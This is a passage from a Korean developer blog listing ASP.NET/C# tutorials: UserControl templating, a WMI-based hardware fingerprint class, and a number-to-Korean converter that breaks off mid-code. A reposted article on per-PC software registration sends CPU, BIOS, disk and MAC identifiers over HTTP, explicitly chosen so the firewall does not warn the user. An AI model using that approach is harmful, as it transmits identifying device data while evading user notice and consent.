천객만래 [千客萬來] (It has an interminable succession of visitors)

'닷넷'에 해당되는 글 30건

  1. 2015.06.01 [개발/asp.net] UserControl 템플릿을 이용한 공통 UI 렌더링
  2. 2015.06.01 [개발/asp] 스크립트 암호화 프로그램과 설명서
  3. 2015.03.03 [개발/C#/ASP.NET] 하드웨어 유일키 생성
  4. 2015.03.03 [개발/ASP.NET/C#] 하드웨어 유일키 얻기 2
  5. 2010.12.10 [개발/asp.net] 금액, 숫자를 문자로 바꾸기
  6. 2010.12.10 [개발/asp.net] 사용자의 인터넷익스플로러 창 모두 닫기
  7. 2010.12.10 [개발/asp.net] 파일이름으로 응용 프로그램 시작하기
  8. 2010.12.10 [개발/asp.net] Visual Studio 2005에 .NET 3.0 환경 추가하기
  9. 2010.12.10 [개발/asp.net] 서버컨트롤에 열거형 값 바인딩하기
  10. 2010.12.06 [개발/asp.net] PostBack없이 서버 갔다오기(ScriptCallBack)
  11. 2010.12.06 [개발/asp.net] 날짜 문자열을 내맘대로 만들기
  12. 2010.12.02 [개발/asp.net] 외부응용프로그램 실행하기 (Process.Start 메서드)
  13. 2010.11.23 [개발/asp.net] 웹폼에서 Form의 action을 다른페이지로 지정할때 주의
  14. 2010.11.23 [개발/asp.net] 웹페이지의 DataGrid 내용만 엑셀로 다운로드
  15. 2010.11.17 [개발/asp.net] 페이지 캐시 사용하지 않기
  16. 2010.11.17 [개발/asp.net] ASP.NET 기본 제공 기능을 활용하여 웹 공격 차단
  17. 2010.11.17 [개발/asp.net] Server.Transfer / Server.Execute / Respons.Redirect
  18. 2010.11.17 [개발/닷넷] 아직도 UTF-8을 안 쓰십니까?
  19. 2010.10.25 [ASP.NET] asp.net에서 웹 애플리케이션 예외처리 (퍼온글)
  20. 2010.10.25 [ASP.NET] 로그인한 국가별 시간대별 DateTime 리턴

출처: http://www.taeyo.pe.kr/lecture/NET/UcTemplate.asp

강좌 최초 작성일 : 2006년 11월 14일
   강좌 최종 수정일 : 2006년 11월 15일

   강좌 읽음 수 : 4359 회

   작성자 : Taeyo(김 태영)
   편집자 : Taeyo(김 태영)

   강좌 제목 : UserControl 템플릿을 이용한 공통 UI 렌더링 

강좌 전 태오의 잡담>

이제 2006년의 크리스마스도 한달 정도밖에 남지 않았네요.
여러분들은 크리스마스에 무엇을 하실 생각이신가요?
무엇을 계획하던 한 해를 잘 정리하면서~ 즐겁게 보내시기 바랍니다.


공통적으로 자주 사용하는 UI 영역을 필요로 할 경우 여러분은 주로 어떻게 작업을 해 오셨나요? 대부분의 경우는 그 영역을 User Control이나 Custom Control로 제작해서 사용해 오셨을 것입니다. "나는 둘 다 아니었다!!"라고 자신하시는 분은 좋았어!! 패스!! -_-+

대개의 경우는 User Control을 이용했을텐데요. 이는 User Control의 개발이 상당히 쉽기 때문일 것입니다. Custom Control의 경우는 개발에 적지 않은 내공과 시간이 요구되기에 쉽사리 덤벼들 수 없지만, User Control은 기존에 존재하는 컨트롤들을 복합적으로 묶어서 쉽게 출력 영역을 꾸밀 수 있으니까요.

이번 강좌에서 하고자 하는 이야기는 바로 이러한 User Control을 사용함에 있어서, UI 개발자들이 좀 더 손쉽게 이를 다룰 수 있게, 그리고 이를 일종의 템플릿처럼 이용할 수 있게 하는 작은 기반을 만드는 방법에 대한 것입니다. 반드시 필요한 작업은 아닐 수 있지만, 일단 작성해두면 전반적인 개발이 편리해진다고나 할까요? 개발 생산성 및 유지 보수성이 좋아지는 방안이라고 보시면 될 듯 합니다.

제가 업무 프로젝트에서 하는 역할이 주로 아키텍처를 잡는다거나, 공통 모듈을 설계 및 가이드 한다거나, 개발자들의 개발 생산성을 높이기 위한 프레임워크 작업을 한다거나 하는 작업이다보니 이러한 쪽에 대한 관심이 본의 아니게 생길 수 밖에 없더군요(실은, 업체의 개발표준팀에서 그런 것들을 요구해 오거든요. 이런 게 있으면 편할 것 같은데 만들어 주세요. 이것 좀 자동화할 수 있는 도구가 있었으면 좋겠어요. 등등 -_-+).

아! 그러니깐, 정확히 이번 강좌가 어떤 내용을 다루는지 감이 잘 오지 않으신다구요? 그렇다면, 좀 더 구체적으로 말씀을 드려야 할 듯 하네요. 이번 강좌의 주 내용은 화면에 공통적으로 사용되는 출력 영력을 User Control로 만들고 이를 동적으로 손쉽게 페이지에 끼워넣을 수 있게 하려 합니다.

"설마, Page.LoadControl() 메서드를 이용해서 페이지에 동적으로 User Control을 넣자는 이야기를 하려는 것은 아니겠죠?" 라고 하시는 분들이 계시는데요. 다행히도 그 이야기는 아닙니다(엄밀히 말하면, 일부는 맞기도 합니다만 -_-). Page.LoadControl() 메서드를 이용해서 페이지에 동적으로 User Control을 추가하는 것은 User Control의 출력 데이터가 정적인 경우에 한해 부합할 것입니다. 만일, User Control이 Repeater나 DataList 등의 컨트롤로 구성되어 있고(예를 들면, 공지사항 목록 같은), 데이터 바인딩이 된 상태로 Page에 추가되어야 한다면 어떻게 할까요?

"뭡니까? 장난하십니까? 그럼 User Control안에서(예를 들면, Control의 Page_Load 이벤트) 데이터 바인딩 작업을 하면 되잖아요"라고 이야기하시는 분들 계십니다. 핫!!! 맞는 말씀입니다. 그런 방법이 있었군요. 음… 그렇네요.. 흠… 그렇구나…

그렇습니다. 일반적으로는 그렇게들 작업을 하셨을 것입니다. 물론, 공지사항 목록의 출력 같은 경우는 공통적으로 여기 저기에서 자주 사용되기에 분명 User Control(혹은 별도의 컨트롤)로 만들어서 사용하는 것이 이로울 것입니다. 그리고, 그 경우 대부분 데이터 액세스 하는 코드가 .ascx 파일 안에 담기게 되곤 하죠. N-Tier 작업을 많이 해보신 분들이라면 Business Logic 레이어와 Presentation 레이어를 명확하게 구분하여 작업을 하셨을 것입니다. 그렇기에 물론, 이와 같은 경우라 해도, ascx 파일 안에 데이터를 직접적으로 액세스 하는 코드는 작성하지 않을 것입니다. 다만, 비즈니스 로직 컴포넌트(BLC)나 데이터 액세스 컴포넌트(DAC)를 호출하여 얻어온 결과를 바인딩 하는 코드 정도만이 놓여져 있겠죠? 요는 어쨌든 그러한 코드가 있기는 있어야만 한다는 것입니다. 그렇기에, 그 User Control은 오로지 공지사항을 출력하기 위한 "공지사항 용 User Control"이란 이름을 갖게 될 것입니다. 왜냐하면, 그러한 목적으로 User Control을 꾸민 것이니까요.

하지만, User Control을 작성하다 보면, 출력하는 데이터만 다를 뿐이지, 그 출력 유형이 매우 유사한 경우를 많이 접하게 됩니다. 바로 여기서 한 가지 아이디어가 뾰료롱 생겨납니다. User Control을 템플릿처럼 사용할 수는 없을까? 즉, 공지사항 데이터던 주소 목록 데이터던 데이터를 던져주면 목록을 출력하는 User Control을 만들어두면 개발 생산성이 더 나아지지 않을까? 하는 생각이 들 수 있다는 것이죠. 바로 그것이 이번 강좌에서 이야기하고자 하는 내용입니다.

전용 User Control(공지사항용 컨트롤, 공통 데이터 출력용 컨트롤 등 특정 데이터를 출력하기 위해 작성한 컨트롤)을 작성하는 것이 나쁘다는 이야기는 아닙니다. 그는 매우 일반적인 방법이니까요. 다만, 상황에 따라서는 이를 좀 더 생산성이 높은 방향으로 바꿔보는 것도 나쁘지 않다는 생각입니다(생산성은 좋아지는 반면, 성능적으로는 약간의 희생이 따를 수 있습니다). 즉, 별도의 컨트롤러 클래스가 있어서 그가 동적으로 User Control에 데이터를 채우고 바인딩을 하도록 하자는 것이죠. 이런 식으로 구성하게 되면, ascx는 단지 출력을 위한 코드만을 담게되어 매우 간결해지며, ascx를 일종의 화면 템플릿 격으로 사용할 수 있게 됩니다.

예를 들면, 다음은 제가 작성해 본 공지사항 User Control(View.ascx)의 소스 코드 전체입니다.

View.ascx

<%@ Control Language="C#" AutoEventWireup="true" CodeFile="View.ascx.cs" Inherits="Template_View" %>
<asp:DataList ID="DataList1" runat="server">
    <ItemTemplate>
        <%# Eval("title") %>
    </ItemTemplate>
</asp:DataList>

View.ascx.cs

public partial class Template_View : System.Web.UI.UserControl
{
    private object _data;
    public object Data
    {
        get { return _data; }
        set { _data = value; }
    }

    protected void Page_Load(object sender, EventArgs e)
    {
        DataList1.DataSource = Data;
        DataList1.DataBind();
    }
}

보시다시피, User Control에는 데이터 바인딩 코드 외에는 아무것도 존재하지 않습니다. 바인딩을 위한 데이터를 가져오는 코드도 존재하지 않습니다. 이는 외부 컨트롤러 클래스가 동적으로 데이터를 밀어넣도록 할 것이기 때문입니다.

이 방식의 장점은 화면 개발자가 User Control의 HTML 구역에만 집중해서 작업을 할 수 있다는 것입니다. 내부적으로 데이터가 어떻게 바인딩되는지 어쩌는지 전혀 관심을 갖지 않아도 됩니다. 화면의 디자인만을 생각하면 되기에 이 User Control을 일종의 템플릿처럼 이를 사용할 수 있다는 것이죠. 주어지는 데이터가 어떤 것이냐에 따라 공지사항을 출력할 수도 있고, 다른 목록 데이터들을 출력할 수도 있습니다.

결과적으로, 이는 동일한 결과를 얻기 위한 또 다른 방식(개발 생산성을 높이는 방식)입니다. 하지만, 그렇다고 이 방식이 꼭 옳다고 말할 수는 없습니다. 제가 진행하는 프로젝트에서는 이를 이용하여 개발성 향상과 유지 보수성의 향상이 있었습니다만, 여러분의 상황에서는 오히려 번잡스럽고 어렵게 느껴질 수도 있습니다. 그러니, 끝까지 잘 살펴보시고 판단하시기 바랍니다. 그러나, 이를 여러분의 업무에 적용하지는 않는다 하더라도, 컨셉 정도는 느껴보시기를 권해 봅니다.

사실, 이 컨셉은 ASP.NET의 대부인 Scott Guthrie의 블로그에 올라온 "Cool UI Templating Technique to use with ASP.NET AJAX for non-UpdatePanel scenarios"란 글에서 힌트를 얻어 작성한 것입니다. 해서, 사실 이 컨셉은 Ajax 애플리케이션을 제작할 경우에 더 적절하다고 보여집니다.

 http://weblogs.asp.net/scottgu/archive/2006/10/22/Tip_2F00_Trick_3A00_-Cool-UI-Templating-Technique-to-use-with-ASP.NET-AJAX-for-non_2D00_UpdatePanel-scenarios.aspx

자. 그렇다면, 전체적인 구현 설계를 살펴보고, 실제 구현을 한번 해보도록 하겠습니다.



TitlesManager란 클래스는 pubs 데이터베이스의 titles 테이블에서 책 데이터(DataTable)를 가져오는 역할을 수행하며, ViewManager를 이용하여 얻어온 데이터를 User Control에 바인딩한 뒤, 이를 반환하는 메서드를 제공하는 클래스입니다. 설명만으로는 이해가 어려울 수 있지만, 잠시 뒤에 소스 코드를 보시면 이해가 되실 것입니다. 사실, TitlesManager 클래스를 별도로 제작할 필요는 없습니다만(그냥 aspx 페이지에 코드를 넣어도 동작하는 데에는 문제가 없으니), 논리적으로 역할 구분을 하는 것이 설계적으로 좋아보이기에 별도의 클래스로 작성해 보았습니다.

ViewManager의 역할은 이 컨셉에서 매우 중요하지만, 그 내용은 의외로 간단합니다. 특정 ascx 컨트롤의 속성에 동적으로 데이터(TitlesManager가 넘겨주는 책 목록 데이터-DataTable)를 추가한 뒤, 그를 바인딩한 User Control을 반환하는 역할을 제공하는 것입니다. 기본 예제에서는 동적으로 User Control에 데이터를 건네주기 위해서 리플렉션 기술을 이용하고 있지만, 이는 차후 인터페이스를 이용하는 방식으로 바꾸어 성능적인 향상을 꾀할 수도 있을 것입니다.

어렵다구요? 말로만 설명하면 복잡한 감이 없지 않으니 직접 소스를 보면서 이해해 보도록 하시죠. 우선 TitlesManager.cs 클래스부터 살펴보도록 하겠습니다.

TitlesManager.cs

using System;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;

/// <summary>
/// TitlesManager의 요약 설명입니다.
/// </summary>
public class TitlesManager
{
    private DataTable GetTitles()
    {
        SqlConnection con = new SqlConnection();
        con.ConnectionString = "server=(local);database=pubs;uid=**;pwd=**";
        string sql = "Select title from Titles";
        SqlCommand cmd = new SqlCommand(sql, con);
        SqlDataAdapter adapter = new SqlDataAdapter(cmd);
        DataSet ds = new DataSet();

        adapter.Fill(ds);
        return ds.Tables[0];
    }

    public UserControl GetTitlesRenderControl()
    {
        DataTable titles = this.GetTitles();

        if (titles.Rows.Count > 0)
            return ViewManager.GetViewControl("~/Template/View.ascx", titles);
        else
            return ViewManager.GetViewControl("~/Template/NoView.ascx", null);
    }
}

TitlesManager 클래스는 우선 GetTitles()라는 메서드를 가지고 있습니다. 이는 데이터베이스로부터 책 목록 데이터를 가져와서 그를 DataTable 형식으로 반환하는 메서드입니다. n-Tier 구조로 설계되었다면, 사실상 이 메서드는 TitlesManager 클래스가 아닌 Data Access Component 쪽에 놓여져야 하겠습니다만, 여기서는 데모의 목적으로 코드를 여기에 직접 작성해 보았습니다. 만일, 여러분의 프로젝트에 개발 프레임워크가 도입되어 있고, 이미 Business Logic 계층과 Data Access 계층이 존재한다면 이 메서드는 그 안쪽에 작성되어야 할 것입니다.

TitlesManager 클래스의 핵심 메서드는 사실 GetTitlesRenderControl() 입니다. 이 메서드가 바로 ViewManager 클래스를 사용해서! 동적으로 필요한 User Control을 얻어내는 메서드이니까요. 해서, 소스를 보시면 이는 우선 GetTitles() 메서드를 이용해서 필요한 DataTable을 얻어내고 있으며, 그 가져온 데이터가 존재한다면(한 개 이상의 Row를 가진다면) View.ascx란 템플릿을, 데이터가 존재하지 않는다면 NoView.ascx란 템플릿을 동적으로 얻어와 반환하는 것을 볼 수 있습니다(View.ascx란 템플릿을 사용하는 경우에는 바인딩 데이터를 필요로 하므로, DataTable 개체를 인자로 넘겨주어야 합니다).

대략적인 TitlesManager 클래스의 역할이 이해가 되시나요? 그렇습니다. 별 것 없습니다. 쿼리 결과 데이터가 존재하면 View.ascx를, 데이터가 없으면 NoView.ascx를 얻어오는 ViewManager 클래스의 GetViewControl 메서드를 호출하는 것이 전부이니까요.

그렇기에, 여기서 중요한 것은 무엇보다도 ViewManager.GetViewControl() 라는 것을 여러분은 번쩍! 눈치 채셨을 것입니다. 실제로 ascx 템플릿과 주어진 데이터를 이용해 동적으로 User Control을 생성하는 핵심 역할을 하는 친구가 바로 ViewManager.GetViewControl()이니까요. 그렇다면, 이제 ViewManager 클래스의 코드를 한번 살펴보도록 하겠습니다.

ViewManager.cs

using System;
using System.Web;
using System.Web.UI;
using System.IO;
using System.Reflection;

public class ViewManager
{
    public static UserControl GetViewControl(string path, object data)
    {
        Page page = new Page();
        UserControl viewControl = (UserControl) page.LoadControl(path);

        if (data != null)
        {
            Type viewControlType = viewControl.GetType();
            PropertyInfo prop = viewControlType.GetProperty("Data");

            if (prop != null)
            {
                prop.SetValue(viewControl, data, null);
            }
            else
            {
                throw new Exception(path + "는 Data 속성을 가지고 있지 않습니다");
            }
        }

        return viewControl;
    }
}

ViewManager 클래스의 핵심은 GetViewControl라는 메서드입니다. 이는 주어진 ascx 파일명과 바인딩 데이터를 인자로 받아서 그를 이용해 동적으로 User Control을 생성하는 역할을 합니다. 해서, 처음 두 줄의 코드는 일단 지정된 경로의 ascx 파일을 User Control로 얻어내는 작업을 수행하고 있어요.

Page page = new Page();
UserControl viewControl = (UserControl) page.LoadControl(path);

만일, 이렇게 얻어온 User Control이 정적인 데이터만을 가진다면, 현재의 viewControl 개체를 그대로 반환해도 무관하겠지만, 고작 그런 작업을 하려했다면 굳이 이렇게 복잡하게 ViewManager를 제작할 필요조차 없었을 겁니다. ViewManager가 필요한 이유는 바로 동적으로 User Control의 속성을 설정할 필요가 있기 때문이니까요.

코드는 page.LoadControl() 메서드를 이용해서 UserControl 개체를 얻어오긴 했으나, 문제는 이 상태로는 해당 UserControl이 Data 라는 속성을 갖는지 어떤지 알 수가 없다는 것입니다. UserControl 형식의 .NET 클래스는 Data라는 필드를 기본적으로 가지고 있지 않으니까요.

하지만, 우리가 동적으로 로드하고자 하는 View.ascx 는 분명 Data라는 공개 속성을 가지고 있습니다. 그렇다면, 어떻게 프로그래밍적으로 이 개체의 Data 필드를 접근할 수 있을까요?

우리가 위에서 작성해놓은(위에서 소스를 보여드렸었죠?) View.ascx의 소스를 다시금 살펴보면 그는 Data라는 object 형식의 속성을 가지고 있음을 알 수 있습니다. 그리고, 컨트롤의 Page_Load 이벤트 시에는 그 Data를 가지고 데이터 바인딩을 시도함을 알 수 있죠. 이는 우리끼리 사전 정의해 놓은 규칙입니다. 즉,

"모든 ascx 템플릿들은 Data라는 공개 속성을 가지며, 데이터 바인딩은 그 데이터를 가지고 이루어진다"

가 우리끼리 약속해놓은 규칙이라는 것이죠. 다시 말해서, 우리가 템플릿으로 이용할 모든 ascx들은 Data라는 공개 속성을 가져야만 합니다. 현실적으로 이야기하자면, 이 규칙은 프로젝트의 클래스 설계 표준문서에 기록되어 있어야 할 것이고, 개발자들에게 사전에 숙지시켜야만 하는 부분이어야 할 것입니다.

그렇습니다. 방법은 크게 두 가지가 있습니다. 하나는 Data라는 속성을 갖는 인터페이스를 작성해서 View.ascx 클래스가 그 인터페이스(예를 들면, IcommonUC란 이름으로)를 구현하도록 하고, 다음과 같이 코드를 작성하는 방법이 있겠죠?

Page page = new Page();
ICommonUC viewControl = (ICommonUC)page.LoadControl(path);

사실, 이 방법이 제가 강좌에서 설명하려는 리플렉션 방법보다 훨씬 더 효과적인 방법임에는 틀림이 없습니다. 인터페이스를 사용한다면 위의 GetViewControl() 메서드도 다음과 같이 매우!! 간단해질 수 있을테니까요.

public static UserControl GetViewControlwInterface(string path, object data)
{
    Page page = new Page();
    UserControl ctl = (UserControl)page.LoadControl(path);
    ICommonUC viewControl = ctl as ICommonUC;

    if(viewControl != null)
        viewControl.Data = data;

    return ctl;
}
// 요 부분 코드는 유 경상 수석이 간섭했다는 후문이 돌고 있습니다.

사실, 결과론적으로는 상기와 같이 인터페이스를 사용하는 것을 강력히 추천합니다. 하지만, 이 강좌는 리플렉션을 이용해서 속성을 설정하는 내용을 보여드리고 있습니다. 다시 보여드리자면,

Type viewControlType = viewControl.GetType();
PropertyInfo prop = viewControlType.GetProperty("Data");

if (prop != null)
{
    prop.SetValue(viewControl, data, null);
}

가 바로 그러한 코드이죠. 리플렉션을 이용해서 현재 개체 형식이 Data라는 속성을 갖는지 여부를 검사하고, 만일 해당 속성이 존재한다면 그 속성에 데이터(우리의 경우 책 목록 DataTable)을 밀어넣는 것입니다.

리플렉션을 이용하는 방식은 성능적으로 그다지 좋지 않기에 크게 권장하지는 않습니다만, 제가 참고한 원래의 포스트 글이 이 방식을 사용했기에 저도 이 방식으로 글을 작성했습니다. 개인적으로는 리플렉션보다는 인터페이스를 사용하는 쪽을 권장하고 싶습니다. ^^;

자. 이제 TitlesManager와 ViewManager가 모두 완성되었네요. ViewManager는 다른 곳에서도 두고두고 재사용이 가능한 독립적인 모듈입니다. 만일, 여러분이 책 목록이 아닌 고객 데이터 목록을 다루고 싶다면, CustomerManager와 같은 클래스를 만들고 (코드는 TitlesManager와 유사하겠죠?) 내부적으로 ViewManager를 사용하시면 될 것입니다. ^^

자. 그럼 이제 이를 이용하는 ASPX 페이지를 만들어봐야 겠죠? 저는 default.aspx 페이지에 Label 컨트롤을 하나 올려놓고(굳이 Label일 이유는 없지만), 코드 비하인드에는 다음과 같이 코드를 작성해 보았습니다.

default.aspx.cs

public partial class _Default : System.Web.UI.Page 
{
    protected void Page_Load(object sender, EventArgs e)
    {
        UserControl ctl = (new TitlesManager()).GetTitlesRenderControl();
        lblData.Controls.Add(ctl);
    }
}

간단하죠? 다음은 전체 소스가 동작하여 나온 결과화면입니다.(저는 약간의 디자인을 입혀봤습니다. 그래봐야 큰 차이는 없지만 -_-)



나름대로 멋지지 않나요? ㅎㅎ

이것이 이번 강좌에서 전하고 싶었던 내용입니다. 사실, 제대로 이해하려면 전체 소스를 한번 돌려보고 디버깅 잡고, 소스를 따라가면서 확인하는게 더 좋긴 하죠. 해서, 강좌 하단에서는 전체 소스를 다운로드 할 수 있도록 준비해 두었습니다. 전체적으로 돌아가는 방식을 확인하시고 나면 이 방식이 맘에 드시는 분들도 조금 있지 않을까 생각해 봅니다.

그리고, 추가적으로 ViewManager 클래스를 보면 User Control을 직접적으로 반환하지 않고, 그 User Control의 내용을 HTML 문자열로 렌더하여 반환하는 메서드도 들어있는 것을 보실 수 있을 것입니다. ASP.NET 애플리케이션에서는 이 메서드가 그다지 유용하지 않을 수 있지만, AJAX 애플리케이션을 개발한다면 나름대로 쓸만하다고 할 수 있습니다. 그 메서드를 웹 서비스의 메서드로 빼 놓으면, 클라이언트 측에서 손쉽게 목록 데이트 출력을 얻어와 화면에 반영할 수 있을테니까요 ^^;

그리 어려운 내용은 아닌데, 제가 설명을 간결하게 하지 못해서 오히려 여러분을 어렵게 만든 것은 아닌지 걱정됩니다. 하지만, 맘에는 드셨죠?



UcTemplate.zip





Posted by SB패밀리

스크립트 암호화 프로그램 입니다.


aspx 소스입니다..





스크립트암호화.zip


Posted by SB패밀리

하드웨어 유일키 생성



using System;
using System.Management;
using System.Security.Cryptography;
using System.Security;
using System.Collections;
using System.Text;
namespace Security
{
    /// <summary>
    /// Generates a 16 byte Unique Identification code of a computer
    /// Example: 4876-8DB5-EE85-69D3-FE52-8CF7-395D-2EA9
    /// </summary>
    public class FingerPrint  
    {
        private static string fingerPrint = string.Empty;
        public static string Value()
        {
            if (string.IsNullOrEmpty(fingerPrint))
            {
                fingerPrint = GetHash("CPU >> " + cpuId() + "\nBIOS >> " + 
   biosId() + "\nBASE >> " + baseId()
                            //+"\nDISK >> "+ diskId() + "\nVIDEO >> " + 
   videoId() +"\nMAC >> "+ macId()
                                     );
            }
            return fingerPrint;
        }
        private static string GetHash(string s)
        {
            MD5 sec = new MD5CryptoServiceProvider();
            ASCIIEncoding enc = new ASCIIEncoding();
            byte[] bt = enc.GetBytes(s);
            return GetHexString(sec.ComputeHash(bt));
        }
        private static string GetHexString(byte[] bt)
        {
            string s = string.Empty;
            for (int i = 0; i < bt.Length; i++)
            {
                byte b = bt[i];
                int n, n1, n2;
                n = (int)b;
                n1 = n & 15;
                n2 = (n >> 4) & 15;
                if (n2 > 9)
                    s += ((char)(n2 - 10 + (int)'A')).ToString();
                else
                    s += n2.ToString();
                if (n1 > 9)
                    s += ((char)(n1 - 10 + (int)'A')).ToString();
                else
                    s += n1.ToString();
                if ((i + 1) != bt.Length && (i + 1) % 2 == 0) s += "-";
            }
            return s;
        }
        #region Original Device ID Getting Code
        //Return a hardware identifier
        private static string identifier
  (string wmiClass, string wmiProperty, string wmiMustBeTrue)
        {
            string result = "";
            System.Management.ManagementClass mc = 
  new System.Management.ManagementClass(wmiClass);
            System.Management.ManagementObjectCollection moc = mc.GetInstances();
            foreach (System.Management.ManagementObject mo in moc)
            {
                if (mo[wmiMustBeTrue].ToString() == "True")
                {
                    //Only get the first one
                    if (result == "")
                    {
                        try
                        {
                            result = mo[wmiProperty].ToString();
                            break;
                        }
                        catch
                        {
                        }
                    }
                }
            }
            return result;
        }
        //Return a hardware identifier
        private static string identifier(string wmiClass, string wmiProperty)
        {
            string result = "";
            System.Management.ManagementClass mc = 
  new System.Management.ManagementClass(wmiClass);
            System.Management.ManagementObjectCollection moc = mc.GetInstances();
            foreach (System.Management.ManagementObject mo in moc)
            {
                //Only get the first one
                if (result == "")
                {
                    try
                    {
                        result = mo[wmiProperty].ToString();
                        break;
                    }
                    catch
                    {
                    }
                }
            }
            return result;
        }
        private static string cpuId()
        {
            //Uses first CPU identifier available in order of preference
            //Don't get all identifiers, as it is very time consuming
            string retVal = identifier("Win32_Processor", "UniqueId");
            if (retVal == "") //If no UniqueID, use ProcessorID
            {
                retVal = identifier("Win32_Processor", "ProcessorId");
                if (retVal == "") //If no ProcessorId, use Name
                {
                    retVal = identifier("Win32_Processor", "Name");
                    if (retVal == "") //If no Name, use Manufacturer
                    {
                        retVal = identifier("Win32_Processor", "Manufacturer");
                    }
                    //Add clock speed for extra security
                    retVal += identifier("Win32_Processor", "MaxClockSpeed");
                }
            }
            return retVal;
        }
        //BIOS Identifier
        private static string biosId()
        {
            return identifier("Win32_BIOS", "Manufacturer")
            + identifier("Win32_BIOS", "SMBIOSBIOSVersion")
            + identifier("Win32_BIOS", "IdentificationCode")
            + identifier("Win32_BIOS", "SerialNumber")
            + identifier("Win32_BIOS", "ReleaseDate")
            + identifier("Win32_BIOS", "Version");
        }
        //Main physical hard drive ID
        private static string diskId()
        {
            return identifier("Win32_DiskDrive", "Model")
            + identifier("Win32_DiskDrive", "Manufacturer")
            + identifier("Win32_DiskDrive", "Signature")
            + identifier("Win32_DiskDrive", "TotalHeads");
        }
        //Motherboard ID
        private static string baseId()
        {
            return identifier("Win32_BaseBoard", "Model")
            + identifier("Win32_BaseBoard", "Manufacturer")
            + identifier("Win32_BaseBoard", "Name")
            + identifier("Win32_BaseBoard", "SerialNumber");
        }
        //Primary video controller ID
        private static string videoId()
        {
            return identifier("Win32_VideoController", "DriverVersion")
            + identifier("Win32_VideoController", "Name");
        }
        //First enabled network card ID
        private static string macId()
        {
            return identifier("Win32_NetworkAdapterConfiguration", 
    "MACAddress", "IPEnabled");
        }
        #endregion
    }
}

 

 

========================================

결과물


 

CPU >> BFEBFBFF000006FB
BIOS >> Phoenix Technologies, LTD6.00 PGOEM20070919000000.000000+000IntelR - 42302e31
BASE >> Biostar Group기반 보드 
DISK >> ST3320620AS(표준 디스크 드라이브)3720011194255
MAC >> 00:E0:4D:51:45:1C

 

 

 

CPU >> BFEBFBFF000006FB
BIOS >> Phoenix Technologies, LTD6.00 PGOEM20070919000000.000000+000IntelR - 42302e31
BASE >> Biostar Group기반 보드 
암호화 : 129D-6375-4122-54E7-D304-D826-D1E8-684C



Posted by SB패밀리




Contacting a Registration Server to obtain a unique registration key based on unique machine ID

 

Introduction
Sometimes in the industry, it is required to collect some unique machine information and send it to a server for the purpose of creating a unique registration key based on the hardware information. This is required in the case when the software requires a per PC registration. Thus we can collect the machine information of the PC in which the software was installed, and issue a registration key which will be valid only for that machine.

Background 
Using WMI functionality, it is possible to collect machine specific hardware information. 
In .NET, one can use System.Management.ManagementClass for this purpose. (This is explained in this article.)

The problem arises when we try to send this information to the server. Because of the firewall that is present in OSes starting from WinXP, if we try to send data from our application to an external server, the firewall pops up a warning to the user informing her/him that the application is trying to send data and asks the user whether she/he wants to proceed or block the application. (Also this approach will fail if the local network is connected to the Internet through a firewall, which is configured to block anything other than HTTP traffic.)

The solution thus comes in the form of HTTP (i.e. we have to send the data through HTTP).
In .NET, this is easily achieved through System.Net.WebRequest or by using a Web Service. This article uses the WebRequest approach.

Using the Code 
In the class ContactRegistationServer (UserRegistration project), you will notice that we are creating a WebRequest and passing the hardware information through QueryString.

WebResponse registrationKey = null;
String url_string = "http://localhost/Registration/Registration.aspx"
    + "?CPU=" + System.Web.HttpUtility.UrlEncode(hardwareInfo.cpuID)
    + "&BIOS=" + System.Web.HttpUtility.UrlEncode(hardwareInfo.biosID)
    + "&MB=" + System.Web.HttpUtility.UrlEncode(hardwareInfo.baseID)
    + "&DISK=" + System.Web.HttpUtility.UrlEncode(hardwareInfo.diskID)
    + "&MAC=" + System.Web.HttpUtility.UrlEncode(hardwareInfo.macID)
    + "&VIDEO=" + System.Web.HttpUtility.UrlEncode(hardwareInfo.videoID);
try
{
    WebRequest requestRegistration = WebRequest.Create(url_string);
    registrationKey = requestRegistration.GetResponse();
}
catch (Exception ex)
{
    System.Windows.Forms.MessageBox.Show("Failed connecting to server");
    return;
}
On the server (Refer project 'TestPage' Registration.aspx.cs), the QueryString received from the client is retrieved and a unique registration key is produced and returned to the user.

//Call the Foolproof Registration Key algorithm :)
TheFoolProofRegistrationKey regKey = new TheFoolProofRegistrationKey();
String key = regKey.getRegistrationKey(Request.QueryString["CPU"]);
Response.Write(key);
Notes: If You Decide to Download and Run the Program
If you decide to download and try the application, please make sure to create a virtual folder of the name "Registration" on your local Web server. This is required as the WebRequest is using the following URL: http://localhost/Registration/Registration.aspx (or else copy the files to a folder by the name Registration under the server root folder).

Just for the use of a novice, I have attached a few screen shots on how to add the virtual directory on IIS.


And finally you should have something as follows:

Points of Interest 
For testing purposes, I also tried to connect to the server from a different PC: (e.g.: http://10.10.42.135/Registration/Registration.aspx) and it still worked - the firewall did not complain:). 
I did not try to connect to a server outside our network, but I guess that should also work...

 

To collect machine specific information, use the code in this article.









Posted by SB패밀리
쌈꼬쪼려 소백촌닭

금액, 숫자를 문자로 바꾸기

금액 형식의 숫자를 한글로 바꾸어 반환하는 메서드입니다.

문자열 형식의 숫자를 인수로 넘기는 경우에는
콤마(,)는 허용, 그 외 숫자형식이 아닌 문자는 에러메시지로 처리합니다.
소숫점이하의 수는 소숫점에서 반올림 하여 계산합니다.

public string NumberToHangul( double number)
{
    return  NumberToHangul( number.ToString() );
}

public string NumberToHangul( string strNumber)
{
    // 콤마(,)제거
    strNumber = strNumber.Replace(",","");

     // 문자열이 숫자형식인지 체크
    for( int i=0; i<strNumber.Length; i++)
    {
        if( !Char.IsNumber( strNumber, i) && strNumber[i] != '.')
            return "숫자형식이 아닙니다.";
    }

    // 소숫점 이하 숫자가 존재하면 반올림처리
    if( strNumber.IndexOf(".") >=0 )   
    {
        double tempNum = Convert.ToDouble( strNumber );
        strNumber = Convert.ToString( Math.Round( tempNum ) );
    }

    string[] arrayAmt = new string[]
    {"일", "이", "삼", "사", "오", "육", "칠", "팔", "구", "십"};

    string[] arraypos = new string[] {"", "십", "백", "천"};

    string[] arrayUnit = new string[]
    {"", "만", "억", "조", "경", "해", "자", "양", "구", "간", "정", "재", "극",
        "항하사", "아승기", "나유타", "불가사의", "무량대수"};

     int pos = strNumber.Length%4; //자리수
    int unit = strNumber.Length/4;

    string korNumber = String.Empty;
    int op = 0;

    for( int i=0; i<strNumber.Length; i++ )
    {
        if( pos==0 ) pos=4;
        int num = Convert.ToInt16( strNumber.Substring(i,1) );
        if( num > 0 )
        {
